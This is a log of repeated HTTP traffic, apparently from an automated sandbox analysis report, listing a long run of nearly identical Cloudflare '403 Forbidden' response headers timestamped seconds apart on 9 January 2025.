Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lx5yc6ejrDbZjfuAcu%2FgWoaS%2FA89FuF0ecKkZezGBXLIOqAN4F9idga4WX3oCLfYSN55mnz0Vx2CjHnnGsQfDFxp2moLshdCgOjDzems0o6Gb4uyNT63MmET3zOst32R2zC%2F1njRqoYzdEXt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5d2bdb118cc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1624&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1755862&cwnd=252&unsent_bytes=0&cid=006838c106d576ab&ts=158&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J9IlgRV68prHjz7e0Ko95ffjfiO%2B9AML66u4SfyiTfH8bG%2FIbmPh6EdXwV7cOFwbQGRCCSsAnop1MLFm20v3iIV%2F%2BoVCRqvmTDtvB6hoVJKua6CyPL4AWu5GCi5Gh69blM3AGflV3%2BC5KIe3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5d659ac7293-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2010&min_rtt=2002&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1408586&cwnd=158&unsent_bytes=0&cid=b33bb70a15cc8e3b&ts=124&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G70Szg%2F9z5eEKpjlKwZOb3RhCWT0hzCV5HxuQTGd6UaU%2Bpy0J7gECBoQi4v0I59sf1jXWwUWwKdEtmXGh9ua0ALnuTRZxeAKfq7RN4qTuBQqGoDdRVYm4kgakQ%2FQmHlrO%2B6m%2FX2xZtglqYlu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5da0c9def9d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1969&rtt_var=743&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1468812&cwnd=146&unsent_bytes=0&cid=139d6764c439eb80&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUDT6O5AiBNjYMgI7hmm0290CQWs6lzTo9Bpz84Dmr5BBQau4VIgI04xMcqKMGNOLLvAbMV0zMiaryKG99g2PjBDrd1oetV1w8Piml1tphFDBfMkBNmduPremhu8BtNyF3COt0ofwmNAb2iT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5ddddf90f9f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1471&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1876606&cwnd=213&unsent_bytes=0&cid=54f009a71560889c&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RT0uc%2BFwXbd06wuD7saO9ZTVdGpFDtlhmLNAXym34gvDbkI1JN2bZs8YiivOlIX5MeGL0ldrhawLR%2Fm92mT8ow1K0xgBnIyvfZRA%2BLDTlp78o7Vx%2FW8wDXD7z0cqdhRGzGQh7KhM64m7CB88"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5e18d8943c4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1549&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1776155&cwnd=32&unsent_bytes=0&cid=eeba770695f4b5c2&ts=122&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=brVOCMF8pfNflqdjFQER4y2lbbjwLJiq4X2DAGLU0a1zh01WHOaFYvHeSGBz6XMdekMB%2Fu3Va6uAgZ8TFer8VcGU7MVJtrvSqcnh40%2B%2FJ%2FQNuxc%2BbfgCdrzlgoFDy8TLRo2tY23KlMceBbC6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5e57836728f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1949&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1449131&cwnd=159&unsent_bytes=0&cid=a58bb9c26fbd8552&ts=156&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LoD0iih1wAt1dO%2FGd5I9HX%2BIPrneY04QFPjuhJVpC6G8mTKbvhZfSEdGd%2BWrNb6ZWGBp2KMB%2F6v5ENrze9yhdTVTouJ7i%2By0WcJUlWSTgKTWywYgzRdYUJBjSbs0dvXu2Rx0ycnHr2bIVFkJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5e919c34337-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1529&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1796923&cwnd=222&unsent_bytes=0&cid=368667ffd4761b47&ts=122&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xgHBdtjKlsZ1vusrCFOwChK9V1bm2R%2Fm7JnXtaizhc0MJ5GLWIdQuVSM9N1s5CQQyT9q%2Fw%2FkNx%2BEQZrdITRWYAmKsELQeGv1i0rNIuo8vVuWupUG7r7VtQ5JgJoCFCmi1kXgzWG%2FOXPdSzuo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5eccb0b1906-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1669&rtt_var=628&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1739130&cwnd=252&unsent_bytes=0&cid=1a8f15e7df0dbaee&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MPv54yjvqKBZ2U%2F%2BSa1yLEuzJ%2F%2FMwOwa4oN5%2FjZSlmuq2WUywjZOy040eDod%2BQ%2BzLqot4b80fCLOQNJ%2FnIB%2Fgve5QLT5gG8vKgN33Vl2V60oPwFpifurg3YvJvdVxPTxXvu3pFVfqvXTKMbR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5f0ebf74343-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1825000&cwnd=244&unsent_bytes=0&cid=a56aed292c180239&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jJvWwO9ZMvWPMkhUzVZSeW1TBxC3GBXBDexBTa%2FYCTI0xXDGIeHEM%2BTnpQ5rK2eoWyD4mhqrPinKRh9S81WwwC9NGk2Ua7FlzkaRGKdcBlVZn2WLcFCjibBGkUygyzf5%2BksUca5AhUa6GLqy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5f4bca98cb9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1963&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1454183&cwnd=184&unsent_bytes=0&cid=b82029fc1c9fce9e&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:44 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=92%2BGApzHWT3M%2BuoLLwMIBG23IKDAz524YSTL%2B62z5iuMz4FJYQRbsbp8xv1jKrsqucbUJuF8%2Fdj9GKKGfisSNQbXIk3xBZ4HGfuUdljdt5s%2FcDeWetmNY0uSjp9bY5QuZQbJZXUGpkbFhlLX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5f86e4f42d3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1699&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1679125&cwnd=246&unsent_bytes=0&cid=367c9e561fd5de34&ts=123&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1k3gV%2BMjj13s7187CnmBDfkDYqxbmilupjSkiRcU4iaIJga%2BuXQrddV3H2JwhpVTXmKXtLqsq%2FAYYKxpkx0ZO0dFAy2ok1BoXDqzRqXboyofRviBhZtsuu2stvhTbM2nVwpDSd5M%2BzSOPXp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5fc1e2042f8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1571&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1790312&cwnd=234&unsent_bytes=0&cid=fedffa9ca3d677a5&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZJyvtdjNycW1cNEMm44nOuh2EjUWOj0rnHzI%2BqBBj5Vu7Iy59HCU59xuvb5YNpRKjEO%2BsCpbkX2be%2FJXjcJi9jMk0TPdIVMdJ2bNz%2FC5QCJOIlgSmzULkc78WihIuG%2Bk20ad4TkP4wmUo36"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5ffe9788c69-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=2014&rtt_var=779&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1383886&cwnd=217&unsent_bytes=0&cid=7fc4f23b749dd56b&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e6VIekoeFw3oKtHxvfEIz1PnDILLbrlIGRYtQZ%2FVx1ECahkjzVYVQzjrLzGO3bRxxVe2FpquZpNDopkBF3jXZ9zKJ3NfMphdhLO2eBpPzR19%2Bnisq0w8Eqd4bA7cXeeEjkEijMON3N25Whw7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b603bfbf426d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2521&min_rtt=2506&rtt_var=951&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1165203&cwnd=230&unsent_bytes=0&cid=513daa3bceced6a5&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1LGoQkFB3DCGXzKJgnkpV4U8Ak%2FyFJGMZbjN3DAfID%2F6amTHyj%2B67CxjFR%2Fldpcxe4p0H6Yes6ed%2FIlLz78WDjoGJkXBKAOqjbSY%2BY%2F7emM%2Bq3HgLQzrtuu6vNkc9LxB4FjNEYGZjMY%2B%2B8br"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b607ae9c8ca2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=1999&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1419543&cwnd=252&unsent_bytes=0&cid=cbcb5ddad96860d2&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n47sGn1%2FO1yEneYG4CpCtdmXuDfDzGj%2FFSjP%2FqHO3jagH7ds5fnPF5zee9qqVgOLf3f%2BpCTwFAYLf6RVWQF%2BKBvwDO6hi6xVfW1qAaadAuPzXJPQhdH4DAsiHWNp6UYYmFgZg4HTVhfrpzRo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b60b8ca9c43b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1646&rtt_var=633&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1705607&cwnd=194&unsent_bytes=0&cid=a1ac199165801920&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J2e8qJWrIg5Dr8JtyiR0%2FDTVvncMxjp5AvWMmVRg77GEokVwQRt9zrkq4OXVyn0wiwkqcTDWlEESIO1cGZerSW1qgz678aNo7hP%2B5wuywBT6R1Fv4Hn5NgCjwwezaaqp9goQFjI1NXEIBXOK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b60f7b568cc8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1942&rtt_var=734&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1483739&cwnd=237&unsent_bytes=0&cid=6aef0c83c8437f8a&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FUx50gK8C0iPPjpPIs2ey0mERjq1qpXLYzW5zxvWBbRzrNDGOnh33KPSDmr6p7hG1Z%2FJlcttNVXRu55xC9oa0v0lSn6zJc%2BD3cnw4g97JnKgBVy8oNWgZ7g%2Fn3OukV5z6madtWR9IN9NCdF6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6132d838c6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1973&rtt_var=754&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1438423&cwnd=168&unsent_bytes=0&cid=b03271dce6dfbcfe&ts=131&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1s7Jfjgz8VdjDkh4RvLFwWWpaTfjHRKpNXD46RH72IUGszAN3o2QVTUb8vQefl%2BYq6nh5XsTP0v2e6G4jV1O60Y5GM8qbrka7XV0pVmDeYx5YeqBKzsNt0QRKsF0QhxuApjSwqC137oWHBkJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b616dca15e60-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1638&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1782661&cwnd=249&unsent_bytes=0&cid=f912048195040386&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6gYGfBQ%2Feno3LmVKcSTbfYSWI5t1L8ETuct7%2Fr3rHO4AMW6oyjR1IJzOhDntedEbhQe%2FFbMzHZoqspcead5SOiqtc6yypa3z3U%2BdJQ8QX8XCptvpYKUZA8jD%2F8i5CdA2CFGt8ZXObE6F5Tdt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b61aaecc41ba-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1680&rtt_var=641&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1691772&cwnd=192&unsent_bytes=0&cid=fe74dbbe95d73829&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hp7PZIvQz8vchznEE1o6mWpbAkWpTkx7rUFuihKJ%2B35UEd3oQWZqas%2BpD1Iu9H6ceiaXIWuMWhDAvBPRZgkK8KkOIwuyK%2B5HzSmk22EfM%2FzZLnMr7JLkOIFT1o7%2BrSfqlPPiVdDHXopbjFTV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b61e9c0e5e6a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2251&min_rtt=2055&rtt_var=911&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1420924&cwnd=224&unsent_bytes=0&cid=0c8c7f096d70b4b9&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHxK%2BRIEJ2HOW3Aiam77DM1kZQWEcHcY%2BQmzElfRHpXM9tzZC4PWTyFlvGLHtjemhJu00ksTta69cpfz2lOeFvX0XZNWruEtQ9FYKWdPi%2BFtpmSrpYSWcGmV2%2FpMasxdwt%2FsT6ZvMOMFH%2Fkr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6224bc24246-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2495&min_rtt=2494&rtt_var=937&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1166600&cwnd=229&unsent_bytes=0&cid=e8fd1f48da63966d&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NifIswI1EeBS4iJaQHzOSnqlGVGNlZ9Y0K6Cw%2FMT0IoQ25rNbDYYv99EwTkus%2FEW47YwPAXgEvxOJxIUv56MxkHJw%2F%2B2Ba0QcGTTHo414%2Fs4MEuSCAuEGjPL1b4sakzz4qAnlBzexly9ywjl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6260fcfc470-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1697&rtt_var=665&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1610590&cwnd=236&unsent_bytes=0&cid=7c5427267f207f3b&ts=138&x=0"
